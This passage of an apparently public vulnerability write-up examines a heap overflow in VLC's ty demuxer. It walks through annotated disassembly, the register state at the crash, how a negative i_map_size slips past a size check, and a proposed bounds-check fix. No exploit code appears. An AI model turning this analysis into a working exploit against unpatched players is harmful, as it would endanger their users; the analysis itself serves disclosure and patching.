&lt;span class=&quot;err&quot;&gt;61401&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;D4E&lt;/span&gt;   &lt;span class=&quot;mi&quot;&gt;897424&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;08&lt;/span&gt;        &lt;span class=&quot;nv&quot;&gt;MOV&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;DWORD&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;PTR&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;SS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ESP&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ESI&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;;size value of 7&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;…&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;61401&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;D57&lt;/span&gt;   &lt;span class=&quot;mi&quot;&gt;893&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;C24&lt;/span&gt;           &lt;span class=&quot;nv&quot;&gt;MOV&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;DWORD&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;PTR&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;SS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ESP&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;EDI&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;;pointer to P_demux stream&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;61401&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;D5A&lt;/span&gt;   &lt;span class=&quot;nv&quot;&gt;E8&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;31510000&lt;/span&gt;      &lt;span class=&quot;nv&quot;&gt;CALL&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;JMP.&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;libvlccore.stream_Read&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;bypass-if-statement&quot;&gt;Bypass &lt;em&gt;if&lt;/em&gt; statement&lt;/h4&gt;
&lt;p&gt;The following shows the &lt;em&gt;if&lt;/em&gt; statement in assembly ensuring that &lt;em&gt;i_map_size&lt;/em&gt; is not greater than 8.&lt;/p&gt;

&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;err&quot;&gt;61401&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;EA5&lt;/span&gt;   &lt;span class=&quot;mi&quot;&gt;83&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;BC24&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;A0000000&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;CMP&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;DWORD&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;PTR&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;SS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ESP&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;A0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;61401&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;EAD&lt;/span&gt;   &lt;span class=&quot;mi&quot;&gt;894&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;C3B&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;04&lt;/span&gt;        &lt;span class=&quot;nv&quot;&gt;MOV&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;DWORD&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;PTR&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;DS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;EBX&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;EDI&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ECX&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;61401&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;EB1&lt;/span&gt;  &lt;span class=&quot;o&quot;&gt;^&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;F8F&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;AFEFFFF&lt;/span&gt;    &lt;span class=&quot;nv&quot;&gt;JG&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;libty_pl.61401CF1&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;; This jump is not taken as it is not greater&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;memcpy-call&quot;&gt;&lt;em&gt;memcpy&lt;/em&gt; call&lt;/h4&gt;
&lt;p&gt;The following instructions set up and execute the &lt;em&gt;memcpy&lt;/em&gt;.&lt;/p&gt;

&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;err&quot;&gt;61401&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;EBF&lt;/span&gt;   &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;B9424&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;A0000000&lt;/span&gt;  &lt;span class=&quot;nv&quot;&gt;MOV&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;EDX&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;DWORD&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;PTR&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;SS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ESP&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;A0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;; FFFFFFFF into EDX&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;61401&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;EC6&lt;/span&gt;   &lt;span class=&quot;mi&quot;&gt;01&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;F1&lt;/span&gt;             &lt;span class=&quot;nv&quot;&gt;ADD&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ECX&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ESI&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;; ECX is 0 so this sticks ESI (malloc pointer) into ECX&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;61401&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;EC8&lt;/span&gt;   &lt;span class=&quot;mi&quot;&gt;83&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;FA&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;07&lt;/span&gt;          &lt;span class=&quot;nv&quot;&gt;CMP&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;EDX&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;; Compares EDX FFFFFFFF to 7&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;61401&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ECB&lt;/span&gt;   &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;D79&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;08&lt;/span&gt;          &lt;span class=&quot;nv&quot;&gt;LEA&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;EDI&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;DWORD&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;PTR&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;DS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ECX&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;61401&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ECE&lt;/span&gt;   &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;DB424&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;C8000000&lt;/span&gt;  &lt;span class=&quot;nv&quot;&gt;LEA&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ESI&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;DWORD&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;PTR&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;SS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ESP&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;C8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;;LEA on ESI which has malloc result pointer&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;61401&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ED5&lt;/span&gt;   &lt;span class=&quot;mi&quot;&gt;76&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;29&lt;/span&gt;            &lt;span class=&quot;nv&quot;&gt;JBE&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;SHORT&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;libty_pl.61401F00&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;; continues on as last CMP set to 1&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;61401&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ED7&lt;/span&gt;   &lt;span class=&quot;nv&quot;&gt;F7C7&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;04000000&lt;/span&gt;    &lt;span class=&quot;nv&quot;&gt;TEST&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;EDI&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;; EDI is not 4 (its a memory pointer)&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;61401&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;EDD&lt;/span&gt;   &lt;span class=&quot;mi&quot;&gt;74&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;21&lt;/span&gt;            &lt;span class=&quot;nv&quot;&gt;JE&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;SHORT&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;libty_pl.61401F00&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;; this jump happens&lt;/span&gt;

&lt;span class=&quot;nf&quot;&gt;Which&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;jumps&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;to&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;…&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;61401&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;F00&lt;/span&gt;   &lt;span class=&quot;mi&quot;&gt;89&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;D1&lt;/span&gt;             &lt;span class=&quot;nv&quot;&gt;MOV&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ECX&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;EDX&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;; moves FFFFFFFF into ECX&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;…&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;61401&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;F09&lt;/span&gt;   &lt;span class=&quot;nv&quot;&gt;F3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;A5&lt;/span&gt;            &lt;span class=&quot;nv&quot;&gt;REP&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;MOVS&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;DWORD&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;PTR&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ES&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;EDI&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;DWORD&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;PTR&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;DS&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;; memcpy&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Here is a look at the registers at the time of the crash.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Registers at time of crash&lt;/strong&gt;&lt;br /&gt;
EAX 00004A00&lt;br /&gt;
ECX 3FFF16CA&lt;br /&gt;
EDX FFFFFFFF&lt;br /&gt;
EBX 0487AEE8&lt;br /&gt;
ESP 061BFA64&lt;br /&gt;
EBP 047F7CE0&lt;br /&gt;
ESI 061FA000&lt;br /&gt;
EDI 048B53C4&lt;br /&gt;
EIP 61401F09 libty_pl.61401F09&lt;/p&gt;

&lt;p&gt;The access violation occurs during the course of the &lt;em&gt;memcpy&lt;/em&gt; call (specifically during the &lt;em&gt;REP MOVS&lt;/em&gt; instruction). The violation references the memory address stored in &lt;em&gt;ESI&lt;/em&gt;. &lt;strong&gt;This is evidence of the heap overflow!&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;err&quot;&gt;61401&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;F09&lt;/span&gt;   &lt;span class=&quot;nv&quot;&gt;F3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;A5&lt;/span&gt;            &lt;span class=&quot;nv&quot;&gt;REP&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;MOVS&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;DWORD&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;PTR&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ES&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;EDI&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;DWORD&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;PTR&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;DS&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;; memcpy&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;patching-the-code&quot;&gt;Patching the Code&lt;/h2&gt;

&lt;p&gt;The issue with the heap overflow described above is that you can have a &lt;em&gt;memcpy&lt;/em&gt; that attempts to copy data of size &lt;em&gt;i_map_size&lt;/em&gt; (which can be arbitrarily set and very large) into a small buffer. The only validation of &lt;em&gt;i_map_size&lt;/em&gt; is done via the &lt;em&gt;if&lt;/em&gt; condition &lt;strong&gt;[11]&lt;/strong&gt; which checks to see if it is greater than 8. What this doesn’t consider is whether &lt;em&gt;i_map_size&lt;/em&gt; is some value 0 or smaller (even up to &lt;em&gt;FFFFFFFFh&lt;/em&gt;!). Implementing more robust validation of &lt;em&gt;i_map_size&lt;/em&gt; to ensure it can only be a value between 1 and 8 is one way to mitigate the vulnerability.&lt;/p&gt;

&lt;p&gt;So if we changed …&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i_map_size&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;to…&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i_map_size&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i_map_size&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;then this could solve the issue!&lt;/p&gt;

&lt;h2 id=&quot;source-code&quot;&gt;Source Code&lt;/h2&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;parse_master&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;demux_t&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p_demux&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;demux_sys_t&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p_sys&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p_demux&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p_sys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;uint8_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mst_buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i_map_size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;int64_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i_save_pos&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;stream_Tell&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p_demux&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;int64_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i_pts_secs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;cm&quot;&gt;/* Note that the entries in the SEQ table in the stream may have
       different sizes depending on the bits per entry.  We store them
       all in the same size structure, so we have to parse them out one
       by one.  If we had a dynamic structure, we could simply read the
       entire table directly from the stream into memory in place. */&lt;/span&gt;

    &lt;span class=&quot;cm&quot;&gt;/* clear the SEQ table */&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;free&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p_sys&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;seq_table&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

    &lt;span class=&quot;cm&quot;&gt;/* parse header info */&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;stream_Read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p_demux&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mst_buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;	&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;i_map_size&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;U32_AT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mst_buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;20&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;  &lt;span class=&quot;cm&quot;&gt;/* size of bitmask, in bytes */&lt;/span&gt;	&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;p_sys&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i_bits_per_seq_entry&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i_map_size&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;U32_AT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mst_buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;28&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;   &lt;span class=&quot;cm&quot;&gt;/* size of SEQ table, in bytes */&lt;/span&gt;	&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;p_sys&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i_seq_table_size&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i_map_size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;	&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;

    &lt;span class=&quot;cm&quot;&gt;/* parse all the entries */&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;p_sys&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;seq_table&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;malloc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p_sys&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i_seq_table_size&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;sizeof&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ty_seq_table_t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
